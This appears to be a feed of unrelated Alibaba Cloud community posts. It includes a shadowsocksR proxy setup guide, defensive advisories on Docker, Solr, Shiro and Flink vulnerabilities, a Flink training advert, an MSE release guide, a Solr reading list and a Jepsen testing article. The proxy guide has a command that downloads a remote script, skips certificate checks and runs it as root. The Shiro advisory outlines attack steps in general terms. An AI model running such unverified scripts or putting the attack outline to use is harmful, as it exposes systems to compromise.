        接下来选择操作系统,使用默认的cnetos7 64位的即可。下面是选择套餐,虽然有月付2.5美元的套餐,不过只有IPv6,我们就选择月付3.5美元的套餐就可以了。

        接下来什么都不用选,直接点击Deploy Now部署服务器

        然后开始服务器状态是installing,大约四五分钟之后就如图所示安装好系统了,点击VPS名字或者其他按钮就可以查看服务器详情,以后每次登录后台,点击左侧的Servers就可看到自己的服务器信息了

        点进去查看服务器信息,可以看到系统和IP之类的,点击小眼睛图标,就可以看到服务器密码了。

        使用xshell连接服务器

        接下来使用xshell连接服务器就行了,xshell大家可以在自己电脑用的安全软件比如360安全卫士的软件管家里自行下载,也可以直接百度xshell下载,下载正版的即可。下载之后安装的时候注意两点即可:安装类型选择“免费为家庭/学校”,语言选择Chinese simplified即简体中文即可。

        接下来这里服务器名称这里随便写,只是个标记,重点是填写服务器IP。然后端口号用默认的22端口就可以(只有搬瓦工不是默认端口,搬瓦工的登录端口在搬瓦工发你的邮件里)。然后点击确定,用户名root密码就是刚才的密码就可以登录了。

        一键搭建shadowsocksR 登录VPS之后,复制以下代码,在xshell里右键选择粘贴,然后回车:wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ssrmu.sh && chmod +x ssrmu.sh && bash ssrmu.sh

        接下来开始安装,首先选择1,然后回车 要显示的IP和域名,这里什么都不用输入,直接回车 用户名,这里随便起个名字,然后回车

        接下来设置端口,不要用默认的,自己写个数字,建议在3000-30000之间,输入数字之后回车 接下设置密码,设置好之后回车 然后设置加密方式,可以输入7或者10或者13,只输入一个即可,然后回车

        然后设置用户协议插件之类的,这几个意义都不大,都直接回车即可

        一直回车到这里,设置的用户可使用的总流量上限,这个比较有用,防止流量超标,直接输入数字即可,单位GB不用输入,这里是根据这个套餐输入的500然后直接回车的 禁止的端口这里一般也不用设置,如果是用来玩游戏,不像让用户用来浏览网站,可以输入80,443 这里就什么都不输入直接回车

        然后让确认是否开始安装,输入y 回车,就开始自动安装了

        一般5分钟左右,最多10分钟,出现如图页面,就安装成了。复制上面所有的信息,用txt或者word文档保存好。

        连接SSR

        接下来使用工具链接SSR就可以了。 windows系统所用工具:点此下载 安卓手机所用工具:点此下载

        阿里云优惠主机点我

        ]]>
        【漏洞预警】Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271) Fri, 02 May 2025 09:39:04 +0800 2019年11月20日,阿里云应急响应中心监测到某国外安全公司披露CVE-2019-14271漏洞分析利用报告,指出黑客利用容器主机为跳板,替换容器主机的libnss_*.so库为恶意库,等待宿主机执行docker cp操作,可成功完成逃逸宿主机攻击漏洞,风险较大。


        漏洞描述

        当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss_*.so库。黑客可以通过在容器中替换libnss_*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。


        影响版本

        Docker 19.03.0


        安全版本

        Docker 19.03.1


        安全建议

        1. 升级至安全版本

        2. 以非root用户权限运行容器,libnss_*.so库覆盖需要root权限,以非root用户权限运行容器可以阻止漏洞攻击

        3. 阿里云ECS镜像源中的Docker版本不受该漏洞影响


        相关链接

        https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

        https://docs.docker.com/engine/release-notes/



        点我领取阿里云新用户代金券


        没有账号立即注册

        ]]>
        【漏洞预警】Apach Solr JMX配置默认开启导致远程命令执行漏洞(CVE-2019-12409) Fri, 02 May 2025 09:39:04 +0800 2019年11月19日,阿里云应急响应中心监测到Apach Solr官方披露某些版本的Solr由于存在错误的默认配置,导致攻击者利用该漏洞可以直接获取服务器权限。


        漏洞描述

        部分版本的Solr的默认配置文件中开启了ENABLE_REMOTE_JMX_OPTS选项。该配置将开启JMX监控,同时对外开启RMI_PORT端口(默认情况下为18983)。攻击者在无需认证的情况下可以通过该JMX端口进行反序列化操作,直接获取到服务器权限。阿里云应急响应中心提醒Solr用户尽快采取安全措施阻止漏洞攻击。


        影响版本

        Linux Solr 8.1.1,8.2.0

        Windows用户不受影响


        安全建议

        1. 官方暂未发布新版本,请关注Apache Solr官方以便获取更新信息 https://lucene.apache.org/solr/downloads.html

        2. 设置配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS值为false后重启Solr

        3. 通过阿里云安全组禁止Solr JMX端口对外,如下


        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测

        相关链接

        https://issues.apache.org/jira/browse/SOLR-13647

        https://lucene.apache.org/solr/news.html



        点我领取阿里云新用户代金券


        没有账号立即注册

        ]]>
        【漏洞预警】Apache Shiro Padding Oracle漏洞可导致远程命令执行 Fri, 02 May 2025 09:39:04 +0800 近日,阿里云应急响应中心监测到Apach Shiro官方披露其cookie持久化参数rememberMe加密算法存在漏洞,可被Padding Oracle攻击,攻击者利用Padding Oracle攻击手段可构造恶意的rememberMe值,绕过加密算法验证,执行java反序列化操作,最终可导致远程命令执行获取服务器权限,风险极大。


        漏洞描述
        Apache Shiro < 1.4.2 版本中cookie值rememberMe通过AES-128-CBC模式加密,容易受到Padding Oracle攻击。攻击者可以通过以下步骤完成攻击:

        1、登录Shiro网站,获取持久化cookie中rememberMe字段的值;

        2、通过ysoserial反序列漏洞利用工具生成攻击payload作为plaintext;

        3、使用rememberMe值作为prefix进行Padding Oracle攻击,加密payload的plaintext得到rememberMe攻击字符串;

        4、使用rememberMe攻击字符串重新请求网站,进行反序列化攻击,最终导致远程任意命令执行。


        阿里云应急响应中心提醒Shiro用户尽快排查网站安全性并采取安全措施阻止恶意攻击。


        影响版本
        1.2.5,1.2.6,1.3.0,1.3.1,1.3.2,1.4.0-RC2,1.4.0,1.4.1


        安全版本

        >=1.4.2


        安全建议
        1. 升级至安全版本,下载链接:https://github.com/apache/shiro/releases
        2. 关闭rememberMe持久化登录功能。


        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测


        相关链接
        https://issues.apache.org/jira/browse/SHIRO-721



        点我领取阿里云新用户代金券


        没有账号立即注册

        ]]>
        【漏洞预警】Apache Flink Web Dashboard 未授权访问致远程命令执行漏洞 Fri, 02 May 2025 09:39:04 +0800 2019年11月8日,阿里云云安全中心大数据态势感知系统捕获Apache Flink Web Dashboard未授权访问命令执行攻击0day漏洞,攻击者利用该漏洞可以直接获取服务器权限。


        漏洞描述

        由于Apache Flink Dashboard默认没有用户权限认证。黑客通过未授权的Flink Dashboard控制台,直接上传木马jar包,可远程执行任意系统命令获取服务器权限,风险极大。目前阿里云应急响应中心已提交漏洞详情至CNVD,阿里云应急响应中心提醒Flink用户尽快采取安全措施阻止恶意攻击。


        影响版本

        全版本


        安全建议

        1. 请关注Apache Flink官方以便获取更新信息:https://flink.apache.org/

        2. 禁止Dashboard对外访问,或者确保只对可信端点开放。


        云盾WAF已可防御此漏洞攻击

        云盾漏洞扫描已支持对该漏洞检测

        云盾云安全中心应用漏洞模块已支持对该漏洞一键检测



        相关链接

        https://flink.apache.org/



        点我领取阿里云新用户代金券


        没有账号立即注册

        ]]>
        Flink 实战:如何解决生产环境中的技术难题?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 大数据作为未来技术的基石已成为国家基础性战略资源,挖掘数据无穷潜力,将算力推至极致是整个社会面临的挑战与难题。

        Apache Flink 作为业界公认为最好的流计算引擎,不仅仅局限于做流处理,而是一套兼具流、批、机器学习等多种计算功能的大数据引擎,以其高吞吐低延时的优异实时计算能力、支持海量数据的亚秒级快速响应帮助企业和开发者实现数据算力升级,并成为阿里、腾讯、滴滴、美团、字节跳动、Netflix、Lyft 等国内外知名公司建设实时计算平台的首选。

        FFA_

        更好的释放 Flink 的强大算力,需要解决哪些问题?如何进行技术选型?针对业务的特点如何进行相应改进? 实践过程中需要规避哪些坑?

        11 月 28-30日,Flink Forward Asia 重磅开启!由来自阿里巴巴及 Ververica 的 19 位 Flink 技术专家们倾力打造的四门培训课程,针对不同阶段、不同学习需求提供技术支持,赋能一线开发者,是小白同学也适合深度学习课程。

        培训仅剩的少量名额开放预约中,详情可加微信(ID:candy1764)咨询,从基础概念的准确理解到上手实操的精准熟练,四门线下实战课程,帮你从容应对生产环境中的技术难题。最后一周,不容错过!

        参与培训课程你能收获什么?

        1. 你将准确了解分布式数据流、事件时间和状态等核心概念以及在 API 中的体现,并学习如何将这些概念组合在一起来解决实际问题。
        2. 你能充分学习 Flink 应用程序的部署和操作相关的实践性介绍、Flink 运行中涉及的核心概念,以及用于部署、升级和监控 Flink 应用程序的主要工具。
        3. 你将知道如何更好的发挥用 SQL 编写 Flink 作业的潜力,现场研究流式 SQL 的不同案例,包括连接流数据、维表关联、窗口聚合、维护物化视图,以及使用 MATCH RECOGNIZE 子句进行模式匹配等。
        4. 你能够提前了解流计算作业从早期 PoC 阶段慢慢过渡到生产过程中最常见的挑战,并为大家提供超实用的故障诊断工具集,还将介绍例如监控、水印、序列化、状态后端等领域的最佳实践和技巧,帮助你从 Flink 小白成长为 Flink 技术专家。

        重要提示:该培训项目由四个实践和教学环节组成,于 11 月 29 日 下午- 30 日全天(共计 1.5天)同时进行,旨在帮助您提升流处理的编程能力和对 Apache Flink 技能学习。

        中阶一:Apache Flink 开发人员培训

        课程介绍

        课程时长:1.5 天

        课程目标:

        1. 本课程是对想要学习构建流应用程序的 Java 和 Scala 开发人员进行的关于 Apache Flink 的实践介绍。
        2. 培训将重点介绍分布式数据流、事件时间和状态等核心概念。
        3. 这些练习将使您有机会了解这些概念在 API 中是如何被体现的,并了解如何将这些概念组合在一起来解决实际问题。

        Tips:本课程为纯英文授课,同时配有中文技术专家支持解答问题。

        讲师介绍:

        主讲:

        David:负责 Ververica 培训,Data Science Retreat 的老师和导师,建立了大数据工程课程并且带领团队构建了分析管道,推荐系统和可视化产品等。

        协助:

        • Qinjun:Ververica 解决方案架构师,因斯布鲁克大学博士,专注于分布式计算和系统架构。
        • 戴资力(Gordon):Apache Flink PMC,Ververica Software Engineer,主要负责 Flink 的系统开发。
        • 宋辛童(五藏):阿里巴巴高级开发工程师,主要负责 Apache Flink 及阿里云实时计算中资源调度与管理机制的研发工作。

        课程目录:

        • 介绍流计算和 Apache Flink
        • DataStream API 的基础
        • 为 Flink 开发做准备(包括练习)
        • 有状态的流处理(包括练习)
        • 时间、定时器和 ProcessFunction(包括练习)
        • 连接多个流(包括练习)
        • 测试(包括练习)

        说明:不需要 Apache Flink 的相关知识。

        中阶二:Apache Flink 运维培训

        课程介绍

        课程时长:1.5 天

        课程目标:

        1. 本课程是针对 Apache Flink 应用程序的部署和操作相关的实践性介绍。
        2. 目标受众包括负责部署 Flink 应用程序和维护 Flink 集群的开发人员和运维人员。
        3. 演示将重点介绍 Flink 运行中涉及的核心概念,以及用于部署、升级和监控 Flink 应用程序的主要工具。

        讲师介绍:

        主讲:

        • 徐帅(辅机):阿里巴巴实时计算平台高级专家,目前负责 Flink CEP 引擎及部分 Runtime 模块。
        • 高赟(云骞):阿里巴巴技术专家,主要从事 Flink Runtime 层的设计与研发。
        • 朱翥(长耕):阿里巴巴技术专家,主要负责阿里云实时计算的调度和容错相关的工作。

        协助:

        • 沙晟阳(成阳):阿里巴巴技术专家,目前主要关注 K8s 生态下的 Flink 研发。
        • 赵开兴(纯庚):阿里巴巴技术专家,对 Flink 和阿里云实时计算产品的技术特点、应用场景、应用过程可能遇到的问题有丰富的经验和理解。

        课程目录:

        • 介绍流计算和 Apache Flink
        • 数据中心里的 Flink
        • 分布式架构介绍
        • 容器化部署(包括实际操作)
        • 状态后端和容错(包括实际操作)
        • 升级和状态迁移(包括实际操作)
        • 指标(包括实践)
        • 容量规划

        说明:不需要对 Apache Flink 有先验知识。

        中阶三:SQL 开发人员培训

        课程介绍

        课程时长:1.5 天

        课程目标:

        • 您将学习到如何充分发挥使用 SQL 来编写 Apache Flink 作业的潜力。
        • 我们将研究流式 SQL 的不同案例,包括连接流数据、维表关联、窗口聚合、维护物化视图,以及使用 MATCH RECOGNIZE 子句进行模式匹配(这是 SQL 2016 新提出的标准)。

        讲师介绍:

        主讲:

        • 伍翀(云邪):Apache Flink PMC,阿里巴巴技术专家,Flink/Blink SQL 模块的核心开发之一。目前主要专注于分布式处理和实时计算。
        • 李锐:Apache Hive PMC,阿里巴巴技术专家,主要参与 Hive、HDFS、Spark 等开源项目。
        • 程鹤群(军长):阿里巴巴技术专家,核心参与 Flink Table API 相关的研发。
        • 陈玉兆(玉兆):Apache Calcite PMC,阿里巴巴高级工程师,参与 Flink 相关的研发。

        协助:

        • 张冉,主要协助阿里巴巴集团内部及广大外部用户使用实时计算产品上的疑难杂症,致力于优化实时计算产品。

        课程目录:

        • 介绍 SQL on Flink
        • 使用 SQL 查询动态表
        • 连接动态表
        • 模式匹配与 match_recognition
        • 生态系统&写外部表

        说明:不需要 Apache Flink 的先验知识,但是需要基本的 SQL 知识。

        高阶:Apache Flink 调优和问题排查

        课程介绍

        课程时长:1.5 天

        课程目标:

        1. 介绍将流计算作业从早期 PoC 阶段慢慢过渡到生产过程中最常见的挑战,并且帮助大家一起消除它。
        2. 提供有用的故障诊断工具集,并介绍例如监控、水印、序列化、状态后端等领域的最佳实践和技巧。
        3. 有机会使用新学习到的知识来解决一些异常 Flink 作业表现出来的问题。
        4. 归纳那些使作业没有进展或吞吐量没有达到预期,或作业延迟的常见原因。

        讲师介绍:

        主讲:

        • 唐云(茶干):阿里巴巴高级研发工程师,长期从事 Flink state & Checkpoint 相关研发,目前也积极参与 Flink on K8s 相关软件化输出开发和社区开发推广工作。
        • 邱从贤(山智):阿里巴巴高级研发工程师,专注于 Flink 核心引擎开发,主要从事 Flink State&Checkpoint 相关研发工作。
        • 周凯波(宝牛): 阿里巴巴技术专家,专注于基于Flink的一站式计算平台的建设。

        协助:

        • 何健超(迟南):阿里巴巴技术专家,专注于基于 Flink 的新一代实时计算平台的建设。
        • 方舒:参与阿里巴巴实时计算产品服务,为集团内部及广大外部用户使用实时计算提供技术支持及产品方案的优化。

        课程目录:

        • 时间和水印
        • 状态处理和状态后端
        • Flink 的容错机制
        • 检查点和保存点
        • DataStream API 和 ProcessFunction。

        培训课程预约说明

        培训系列课程为精品小班教学,19 位技术专家面对面指导,一天半深度实操教学,堪称 2019 年度最佳干货课程!大会倒计时最后一周,少量名额售完即止!课程详细说明:

        • 参加培训请选择购买 VIP 套票。中阶培训购买 VIP 套票 1,高阶培训购买 VIP 套票 2。
        • VIP 套票 1 可参与中阶所有课程,VIP 套票 2 可参与包括高阶、中阶培训在内的所有课程。
        • 培训课程咨询:微信(ID:candy1764)

        点击下方链接可了解更多培训课程与 Flink Forward Asia 2019 大会信息,越早预约越能抓住时代先机~

        https://developer.aliyun.com/special/ffa2019-training?spm=a2c6h.13239638.0.0.108f7955H8hcQ7

        ]]>
        阿里云微服务引擎(MSE) 1.4.0 重磅发布:增加 Nacos、Eureka 引擎支持-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 近日,微服务引擎 MSE 1.4.0 版本发布,在已有ZooKeeper引擎的基础上,增加了对 Nacos和Eureka 的支持,同时在监控趋势图中添加了监控指标的自定义报警通知功能,通知方式支持短信、邮件和钉钉机器人,覆盖上海、杭州、北京和张家口region。

        MSE基于开源社区 Nacos 稳定运行版本 1.1.3 开发,功能接口完全兼容,提供稳定的运行环境资源,一键创建,开箱即用,目前免费使用,同时提供了丰富的管理页面,支持服务查看,命名空间配置等功能。

        点击这里,访问 MSE产品详情页,下面我们来一起探索一下 MSE 1.4.0 的新引擎功能。

        快速创建Nacos引擎

        • 进入MSE控制台,左上角选择所需的地区(如华东1杭州),点击"创建实例"按钮:

        1

        • 进入创建页面,选择你需要创建的引擎类型,这里我们选择Nacos注册中心,版本目前支持1.1.3版本,后面会持续与开源版本保持功能同步,网络类型有2种,公网实例,表示任意公网都可访问实例,专有网络表示只能在阿里云VPC内部访问,在专有网络类型下,需要选择对应的VPC,交换机,规格一栏,目前支持2种规格,选择你需要的规格,然后点击创建 ,即可开始创建实例。
          2
        • 进入创建页面,实例创建的时间,预计3分钟左右完成。
          3
        • 创建完成之后,即可通过公网域名,或者内网域名进行访问Nacos。
          4

        Nacos引擎实践

        配置公网白名单
        这里我们通过公网域名进行链接Nacos集群,在使用公网域名之前,我们需要设置一下公网访问白名单,这是为了加强域名安全等级,只允许安全源进行访问,设置公网白名单的方式:点击教我设置
        5

        注: 设置白名单的IP,需要是访问机器的出口公网IP或者网段,机器公网IP查询方式,可通过如下命令查询:

        curl myip.ipip.net
        curl cip.cc
        curl ipinfo.io
        curl ifconfig.me
        
        • 设置完成,可以尝试验证下Nacos的默认8848端口是否连通:
          6

        注册一个服务

        • 我们通过Http接口注册一个服务,命令如下:
        curl -X POST 'http://mse-ca71be50-p.nacos-ans.mse.aliyuncs.com
        :8848/nacos/v1/ns/instance?serviceName=nacos.naming.serviceName&ip=127.0.0.1&port=8080'
        

        查看服务注册详情

        • 首页点击实例名称,可以看到服务注册上去了:
          7
        • 通过详情,我们可以看到服务实例的IP和端口:
          8

        查看监控趋势图

        • 点击左侧"监控"按钮,可进入监控视图,可以看到整个集群的服务数等趋势图。
          9

        10

        配置监控项报警

        • 可以针对集群维度,对监控趋势图中对监控项进行报警配置,点击左侧:报警管理>报警管理策略>创建报警。

        11

        MSE更多功能,请登陆这里,免费注册使用,如果您在使用 MSE 过程中有任何疑问,欢迎您扫描下面的二维码加入钉钉群进行反馈。

        交流群(钉钉)
        730cb49e93bf88865b63971d0e7a2a7355239505



        微信群
        17f1f7c9a2cafeb9ac924cb20b34bf3eddbcdb94
        请务必备注"添加 ZooKeeper 微信群"

        ]]>
        Solr快速入门文档阅读推荐——官方文档常用章节推荐-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 概述

        本文整理了Solr常见用法涉及的基础章节列表,通过这些章节的阅读学习,同学可以零基础快速入门使用Solr,并能够满足大部分企业的业务检索需求开发,掌握了熟悉使用Solr的基本技能。
        由于Solr功能丰富,插件灵活,官方文档仅做手册的编辑方式涵盖所有的功能内容描述,但众多地方还是欠缺连贯性。难做到像教科书一样,让同学从头到尾高效学习一遍。
        这里整理了Solr常用功能涉及的章节列表阅读推荐,并针对具体章节概念做了简单描述,希望未接触过Solr的同学可以快速入门,节省更多的学习时间,快速实践起来。

        章节推荐

        完整官方文档链接如下:solr7.3完整官方文档
        入门阅读可以参照如下目录:

        About This Guide 了解 //默认Solr服务端口8983, 有V1/V2 两种接口访问Solr

        Getting Started 了解

        • Solr Tutorial 了解 //启动solr服务,运行index/search demo
        • A Quick Overview 了解
        • Solr System Requirements 了解 //主要是看具体版本的jdk要求
        • Installing Solr 了解 //了解solr安装过程

        Deployment and Operations 了解

        • Solr Control Script Reference 熟悉 //熟悉solr -help 命令脚本所提供各种管理功能
        • Solr Configuration Files 熟悉 //Cloud模式下的solrconfig.xml和managed-schema作用

        Using the Solr Administration User Interface

        • Overview of the Solr Admin UI 了解 //主要熟悉Cloud模式下的Solr Admin web UI管理collection
        • Logging 了解
        • Cloud Screens 了解
        • Collections / Core Admin 了解
        • Java Properties 了解
        • Thread Dump 了解
        • Collection-Specific Tools了解

          • Documents Screen了解
          • Files Screen 熟悉
          • Query Screen 熟悉
          • Schema Browser Screen 了解
        • Core-Specific Tools

          • Ping 了解
          • Plugins & Stats Screen 了解
          • Segments Info 了解

        Documents, Fields, and Schema Design 熟悉

        • Overview of Documents, Fields, and Schema Design 熟悉 //熟悉solrconfig.xml和managed-schema配置文件
        • Solr Field Types 熟悉

          • Field Type Definitions and Properties 熟悉 //理解 indexed/stored/docValues/multiValued属性
          • Field Types Included with Solr 熟悉 //理解常见类型int/long/double/float/boolean/string 相对应预定义好的类型
          • Field Properties by Use Case 了解 //了解根据业务检索用途,需要开启哪些属性的参照表格
        • Defining Fields 了解
        • Copying Fields 了解
        • Dynamic Fields 了解
        • Other Schema Elements 了解
        • Schema API 熟悉 //熟悉api修改schema配置文件的各种配置项
        • DocValues 理解//查询业务涉及到facet&function/sort 时推荐开启

        Understanding Analyzers, Tokenizers, and Filters 了解

        • Uploading Data with Index Handlers 了解

          • Transforming and Indexing Custom JSON 了解

        Searching 熟悉

        • Query Syntax and Parsing 熟悉

          • Common Query Parameters 熟悉
          • The Standard Query Parser 熟悉
          • Function Queries 了解 //结合facet可以做min/max/avg/sum等聚合统计
        • JSON Request API 了解
        • JSON Facet API 了解
        • Faceting 了解
        • Pagination of Results 熟悉 //场景分页实现与cursorMark深翻
        • Collapse and Expand Results 了解 //聚合分组功能,类似group by
        • Result Grouping 了解
        • Response Writers 了解
        • Near Real Time Searching熟悉 //理解commit相关配置项
        • RealTime Get 了解

        SolrCloud 了解

        • Getting Started with SolrCloud 了解
        • How SolrCloud Works 了解

          • Shards and Indexing Data in SolrCloud 熟悉
          • Distributed Requests 了解
        • SolrCloud Resilience 了解

          • SolrCloud Recoveries and Write Tolerance 了解
          • SolrCloud Query Routing And Read Tolerance 了解
        • SolrCloud Configuration and Parameters 了解

          • Setting Up an External ZooKeeper Ensemble 了解
          • Using ZooKeeper to Manage Configuration Files 了解
          • Collections API 了解
          • Parameter Reference 了解
          • Command Line Utilities 熟悉
          • SolrCloud with Legacy Configuration Files 了解
          • ConfigSets API 熟悉

        The Well-Configured Solr Instance 熟悉

        • Configuring solrconfig.xml 熟悉

          • IndexConfig in SolrConfig 熟悉 //SortingMergePolicy实现预排序,业务查询有固定排序需求的可以考虑
          • UpdateHandlers in SolrConfig 熟悉 //熟悉几个commit参数配置
          • Query Settings in SolrConfig 熟悉 //理解几个cache配置功能,及其应用
        • Solr Cores and solr.xml 了解

          • Format of solr.xml 了解
          • Config Sets 了解 //可以对collection配置目录管理
        • Configuration APIs了解

          • Config API 熟悉 //可以动态修改collection某个配置项

        Monitoring Solr 了解

        • Configuring Logging 了解
        • Performance Statistics Reference 了解 //了解一些关系的metrics指标含义

        Client APIs 熟悉

        • Choosing an Output Format 了解
        • Client API Lineup 了解
        • Using Python 了解
        • Using SolrJ 熟悉 //掌握CloudSolrClient api使用

        小结

        上述章节基本涵盖了大部分企业检索查询需求的功能,也是使用阿里云HBase全文服务的 Solr基础知识。如有特殊的需求,再针对性阅读官方手册即可。
        我们在 solr企业业务常见各种demo与答疑 中整理了许多查询统计场景demo供参考,如有新特性欢迎评论,后续会更新相应demo,供大家使用。

        链接

        云HBase全文服务使用文档
        solr7.3完整官方文档
        solr常用检索查询业务demo

        ]]>
        当 Messaging 遇上 Jepsen-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 分布式系统面临的挑战



        Is it better to be alive and wrong or right and dead?


        随着计算机技术的发展,系统架构从集中式演进到分布式。分布式系统相对于单台机器来说提供了更好的可扩展性,容错性以及更低的延迟,但在单台计算机上运行软件和分布式系统上运行软件却有着根本的区别,其中一点便是单台计算机上运行软件,错误是可预测的。当硬件没有故障时,运行在单台计算机的软件总是产生同样的结果;而硬件如果出现问题,那么后果往往是整个系统的故障。因此,对于单体系统来说,要么功能完好且正确,要么完全失效,而不是介于两者之间。

        而分布式系统则复杂的多。分布式系统涉及到多个节点和网络,因而存在部分失效的问题。分布式系统中不可靠的网络会导致数据包可能会丢失或任意延迟,不可靠的时钟导致某节点可能会与其他节点不同步 ,甚至一个节点上的进程可能会在任意时候暂停一段相当长的时间(比如由于垃圾收集器导致)而被宣告死亡,这些都给分布式系统带来了不确定性和不可预测性。事实上,这些问题在分布式系统中是无法避免的,就像著名的CAP理论中提出的,P(网络分区)是永远存在的,而不是可选的。

        既然分布式系统中故障是无法避免的,那么处理故障最简单的方法便是让整个服务失效,让应用“正确地死去”,但这并不是所有应用都能接受。故障转移企图解决该问题,当故障发生时将其中一个从库提升为主库,使新主库仍然对外提供服务。但是主从数据不一致、脑裂等问题可能会让应用“错误地活着”。代码托管网站Github在一场事故中,就因为一个过时的MySQL从库被提升为主库 ,造成MySQL和 Redis中数据产生不一致,最后导致一些私有数据泄漏到错误的用户手中 。为了减轻故障带来的影响,我们需要通过某种手段来确保数据的一致性,而如何验证大规模分布式系统在故障下依然正确和稳定(可靠性)成为了新的难题。

        可靠性验证

        分布式系统可靠性的验证可以采用形式化规范来进行,比如TLA+,但是这样的验证需要大量的特定理论知识。另一个方式是通过测试来验证,但普通的单元测试和集成测试无法覆盖到一些只有在高并发或者故障发生时才会出现的边缘情况,这些给分布式系统测试带来了新的挑战。

        混沌工程的出现带来了新的验证思路,企业需要在测试阶段发现问题,通过“蓄意”引发故障来确保容错机制不断运行并接受考验,从而提高故障自然发生时系统能正确处理的信心。出身于SRE的Pavlos Ratis,在自己的GitHub 仓库awesome-chaos-engineering ,维护了与混沌工程相关的书籍、工具、论文、博客、新闻资讯、会议、论坛和 Twitter 账号。另外,故障注入后,除了观察系统的可用性,还需要保证系统提供的服务是正确的,也就是系统仍然需要符合预期的一致性,Jepsen目前被认为是工程领域在一致性验证方面的最佳实践(下图展示了Jepsen可验证的一致性模型)。

        lALPDgQ9rQShIRbNAt_NBDg_1080_735_png_620x10000q90g

        Jepsen能在特定故障下验证系统是否满足一致性,在过去5年里,Kyle Kingsbury已经帮助无数的早期分布式系统进行过测试,比如Redis、Etcd、Zookeeper等。Jepsen系统如下图所示,其由 6 个节点组成,一个控制节点,五个DB 节点。控制节点可以通过SSH登录到DB节点,通过控制节点的控制,可以在DB节点完成分布式系统的部署,组成一个待测试的集群。测试开始后,控制节点会创建一组进程,进程包含了待测试分布式系统的客户端。另一个Generator进程产生每个客户端执行的操作,并将操作应用于待测试的分布式系统。每个操作的开始和结束以及操作结果记录在历史记录中。同时,一个特殊进程Nemesis将故障引入系统。测试结束后,Checker分析历史记录是否正确,是否符合一致性。

        lALPDgQ9rQShIRfNAlDNBDg_1080_592_png_620x10000q90g

        Jepsen一方面提供了故障注入的手段,能模拟各种各样的故障,比如网络分区,进程崩溃、CPU超载等。另一方面,它提供了各种校验模型,比如Set、Lock、Queue等来检测各种分布式系统在故障下是否仍然满足所预期的一致性。通过Jepsen测试,能发现分布式系统在极端故障下的隐藏错误,从而提高分布式系统的容错能力。因此Jepsen测试被应用到许多分布式数据库或分布式协调服务集群的可靠性检测中,成为验证分布式系统一致性验证的重要手段。而现在我们以基于日志的分布式存储库DLedger和分布式消息队列RocketMQ为例,介绍Jepsen测试在分布式消息系统中的应用。

        DLedger的Jepsen测试

        DLedger是一个基于raft的java库,用于构建高可用性、高持久性、强一致性的commitlog。如下图所示,DLedger去掉了raft协议中状态机的部分,但基于Raft协议保证commitlog是一致的,并且是高可用的。

        lALPDgQ9rQShIRjNAlTNBDg_1080_596_png_620x10000q90g

        在对DLedger进行Jepsen测试之前,首先需要明确DLedger需要满足怎样的一致性。在Jepsen测试中,许多基于raft的分布式应用都采用线性一致性对系统进行验证。线性一致性是最强的一致性模型之一,满足线性一致性的系统,能提供一些唯一性约束的服务,比如分布式锁,选主等。但从DLedger的定位来看,它是一个Append only的日志系统,并不需要如此严格的一致性,数据的最终一致性更加符合我们对DLedger在故障下的正确性要求。因此采用Jepsen的Set测试对DLedger在各种故障下的一致性进行检测。

        Set测试流程如下图所示,主要分为两个阶段。第一阶段由不同的客户端并发地向待测试集群添加不同的数据,中间会进行故障注入。第二阶段,向待测试的集群进行一次最终读取,获得读取的结果集。最后验证每一个成功添加的元素都在最终结果集中,并且最终的结果集也仅包含企图添加的元素。

        lADPDgQ9rQShIRrM_s0EOA_1080_250_jpg_620x10000q90g

        在实际测试中,我们开启30个客户端进程并发地向待测试的DLedger集群添加连续不重复的数字,中间会引入特定故障,比如非对称网络分区,随机杀死节点等。故障引入的间隔时间是30s,即30s正常运行,30s故障注入,一直循环,整个阶段一共持续600s。并发写阶段结束以后,执行最终的读取,获得结果集并进行校验。

        故障注入方面,我们测试以下几种故障注入:

        • partition-random-node和partition-random-halves故障是模拟常见的对称网络分区。
        • kill-random-processes和crash-random-nodes故障是模拟进程崩溃,节点崩溃的情况。
        • hammer-time故障是模拟一些慢节点的情况,比如发生Full GC、OOM等。
        • bridge和partition-majorities-ring模拟比较极端的非对称网络分区。

        lADPDgQ9rQShIRvNApvNBDg_1080_667_jpg_620x10000q90g

        我们以随机网络分区故障partition-random-halves为例,分析测试结果。在测试完成后,日志中会出现如下图所示的结果:

        lALPDgQ9rQShIRzNAWzNAbU_437_364_png_620x10000q90g

        可以看到测试过程中30个客户端一共发送了167354个数据(attempt-count),add成功返回167108个数据(acknowledged-count),实际成功添加167113个数据(ok-count),有5个由于请求超时或者多数认证超时导致无法确定是否添加成功,但却出现在最终读取结果集中的数据(recovered-count)。由于lost-count=0并且unexpected-count=0,因此最终一致性验证结果是通过的。
        以图表的形式更好分析DLedger集群在测试过程中的表现情况。客户端对DLedger集群每一次操作的时延如下图所示。

        lALPDgQ9rQShIR3NAZDNA4Q_900_400_png_620x10000q90g

        其中蓝色框表示数据添加成功,红色框表示数据添加失败,黄色框表示不确定是否数据添加成功,图中灰色部分表示故障注入的时间段。可以看出一些故障注入时间段造成了集群短暂的不可用,一些故障时间段则没有,这是合理的。由于是随机网络分区,所以只有当前leader被隔离到少数节点区域才会造成集群重新选举,但即使造成集群重新选举,在较短时间内,DLedger集群也会恢复可用性。此外,可以看到由于DLedger对对称网络分区有较好的容错设计,每次故障恢复后,集群不会发生重新选举。

        下图展示了DLedger在测试过程中时延百分位点图。

        lALPDgQ9rQShIR7NAZDNA4Q_900_400_png_620x10000q90g

        可以看到除了在一些故障引入后造成集群重新选举的时间段,时延升高,在其他的时间段,Dledger集群表现稳定,95%的数据添加延迟在5ms以下,99%的数据添加延迟在10ms以下。DLedger在随机对称网络分区故障注入下,表现稳定,符合预期。

